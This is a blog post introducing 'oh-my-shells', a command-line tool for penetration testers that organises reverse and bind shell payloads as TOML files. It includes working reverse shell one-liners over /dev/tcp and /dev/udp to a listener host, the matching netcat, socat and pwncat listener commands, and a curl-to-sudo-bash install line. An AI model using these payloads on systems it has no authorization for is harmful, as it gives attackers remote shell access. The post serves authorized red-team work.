Stop Googling Reverse Shells: Meet oh-my-shells
Hi there! :D
This post is about a red-team tool I recently built β but first, letβs talk about the problem it solves.
Why? β The pain point
Every pentester needs payloads. Whether itβs bypassing file filters, sneaking past WAFs, or popping a shell with a quick /dev/tcp
trick β payloads are the bread and butter of red teaming.
But hereβs the real issue: where do you keep them?
- Maybe youβve got 10,000 gists bookmarked.
- Maybe thereβs a dusty
payloads.txt
file sitting in your notes. - Maybe you spam-refresh revshells.com every time you need one.
All of these work, but none of them are perfect:
- revshells.com is handy, but its listeners donβt adapt to the payload (e.g. no UDP flags). Plus, switching between browser and terminal is clunky.
- Payload lists like PayloadAllTheThings are massive, but unless you know exactly where to look, you waste time searching.
- Your own notes can work β until they grow messy, unorganized, and slow you down.
At the end of the day, you spend more time digging than hacking.
So I thought: what if revshells.com existed on the CLI? Offline, structured, fast, and easy to extend.
Wellβ¦ I couldnβt find it.
So I built it.
What? β Meet oh-my-shells
So what exactly is it?
oh-my-shells is basically a payload + listener manager for the terminal. Instead of digging through random notes or browser tabs, you can just use a simple CLI command and instantly get what you need.
The whole point is: search, pick, run.
Some of the main features are:
- π List - Show all payloads or filter them by OS, type, protocol, and/or language.
- π Search β Quickly look up payloads by entering your search term and it'll try to find it on the shell name or description.
- πΊ Show - See extra details about any shell rather than just the name and description.
- β‘ Generate β Load a payload and get both the payload itself and the compatible listeners.
- π Extend β Add your own payloads to the
shells/
(I'll explain this later) folder and theyβll just work with the same commands. - π₯ CLI workflow β No switching windows, everything happens right where youβre working.
Example
Say you want a bash reverse shell. Instead of googling it (again), just:
$ oh-my-shells search bash
Search results for 'bash':
============================
[bash_udp] unix/reverse/udp
Name: Bash UDP
Description: Spawns an interactive bash shell and redirects IO over a UDP connection to the specified host and port.
[bash_read_line] unix/reverse/tcp
Name: Bash read line
Description: Uses file descriptor 5 to open a TCP connection to the specified host and port, then read lines from the socket and executes them, redirecting IO through F5 5.
...
$ oh-my-shells generate bash_udp --lhost 10.10.10.10 --lport 8080
Generated payload:
bash -i >& /dev/udp/10.10.10.10/8080 0>&1
Available listeners:
nc: nc -luvnp 8080
nc_freebsd: nc -luvn 8080
busybox_nc: busybox nc -ulp 8080
ncat: ncat -luvnp 8080
ncat_exe: ncat.exe -luvnp 8080
rlwrap_nc: rlwrap -cAr nc -luvnp 8080
rustcat: rcat listen -u 8080
pwncat: python3 -m pwncat -ulp 8080
socat: socat -d -d UDP-LISTEN:8080 STDOUT
socat_tty: socat -d -d file:`tty`,raw,echo=0 UDP-LISTEN:8080
powercat: powercat -l -p 8080 -u
And thatβs it β youβre ready to go.
How? - Under the hood
So how does this thing actually work?
At its core, oh-my-shells is just a big organized collection of payload definitions written in TOML.
Every payload is a little self-contained .toml
file that describes:
- β The ID and human-friendly name
- π₯ The target OS, type (reverse/bind), protocol, and language
- π¬ A short description
- π£ The actual payload string (with placeholders like
{{LHOST}}
and{{LPORT}}
) - π§ A set of compatible listeners (because not all netcats are equal)
- π Which shells it plays nicely with
Hereβs a real example:
id = "bash_196"
name = "Bash 196"
os = "unix"
type = "reverse"
proto = "tcp"
lang = "bash"
description = "Uses file descriptor 196 to open a TCP connection to the specified host and port, then redirects IO through FD 196."
payload = "exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; {{SHELL}} <&196 >&196 2>&196"
[listeners]
nc = "nc -lvnp {{LPORT}}"
busybox_nc = "busybox nc -lp {{LPORT}}"
socat = "socat -d -d TCP-LISTEN:{{LPORT}} STDOUT"
[shells]
compatible = ["bash", "/bin/bash", "/usr/bin/env bash", ...]
Thatβs it. The CLI just parses this TOML, fills in the placeholders, and shows you the right payload + listener. No magic, just structured data.
The file structure
To keep everything tidy (and make searching fast), payloads live in a Metasploit-style folder tree under shells/
.
Itβs organized by OS, type, and protocol β so you can quickly drill down to what you need (and the tool can easily traverse all shells):
shells/
βββ unix
β βββ reverse
β β βββ tcp
β β β βββ bash_196.toml
β β β βββ perl_pentestmonkey.toml
β β β βββ python3_shortest.toml
β β β βββ zsh.toml
β β β βββ ...
β β βββ udp
β β βββ bash_udp.toml
β β β βββ ...
β βββ bind
β βββ tcp
β βββ nc_bind.toml
β βββ ...
β βββ perl_bind.toml
βββ windows
β βββ reverse
β βββ tcp
β βββ powershell_1.toml
β βββ python3_windows.toml
β βββ ...
β βββ nc_exe_e.toml
βββ all
βββ web
βββ php_cmd.toml
βββ ...
βββ p0wny_shell.toml
Why TOML?
Because it's:
- human-readable (cleaner than JSON, less indentation pain than YAML),
- easy to parse in basically every language,
- and simple enough that contributors with low technical knowledge can add payloads without needing to dive too deep into the internals of this tool
All you need is to drop a .toml
in the right folder and boom β oh-my-shells picks it up.
Adding your own payload
Adding a new payload is ridiculously easy β no coding required. Just:
Pick the right folder
Find the folder that matches the OS, type, and protocol. For example:
shells/unix/reverse/tcp/
orshells/windows/reverse/http/
Copy an existing TOML as a template
cp bash_196.toml my_new_payload.toml
Edit your TOML Change the
id
,name
,description
,payload
, andlisteners
. Make sure your have the{{LHOST}}
and{{LPORT}}
placeholders in the payload string.List compatible shells Add any shells that your payload can safely run under:
[shells] compatible = ["bash", "dash", "very-cool-stuff"]
Note: If your payload doesn't invoke anything shells like with
-i
flag for example you can skip theshells
section completely.Done! oh-my-shells automatically detects the new file. Test it with:
oh-my-shells search new oh-my-shells show my_new_payload oh-my-shells generate my_new_payload -H 10.10.10.10 -P 4444
Thatβs it β your payload is now fully integrated and ready to use.
Want to get it?
Alright, getting this tool on your system is easy. It's programmed in C and really only needs the bare-minimum of the binary and the shells
folder on the same directory to work.
To install it you must at least have on your system: make
(plus it's dependencies), a proper Unix environment (WSL, macOS, practically any Linux distro), and for the one-liner I'm going to show cURL though you can run the install.sh
script in any way.
This install.sh
I just mentioned is the recommended install method, for a cURL one-liner that runs it you can use:
curl -fsSL https://raw.githubusercontent.com/ordinary-hacker/oh-my-shells/trunk/install.sh | sudo bash
The script will: clone the Github repository to /opt
, use make
to build the binary, symlink the resulting oh-my-shells
binary to /usr/local/bin/oh-my-shells
. As simple as that the tool is now installed!
Contributing & Feedback
Found a bug, have a recommendation, or want to contribute by adding more payloads or to the code? Then you are completely free to open an issue/PR on the Github repository.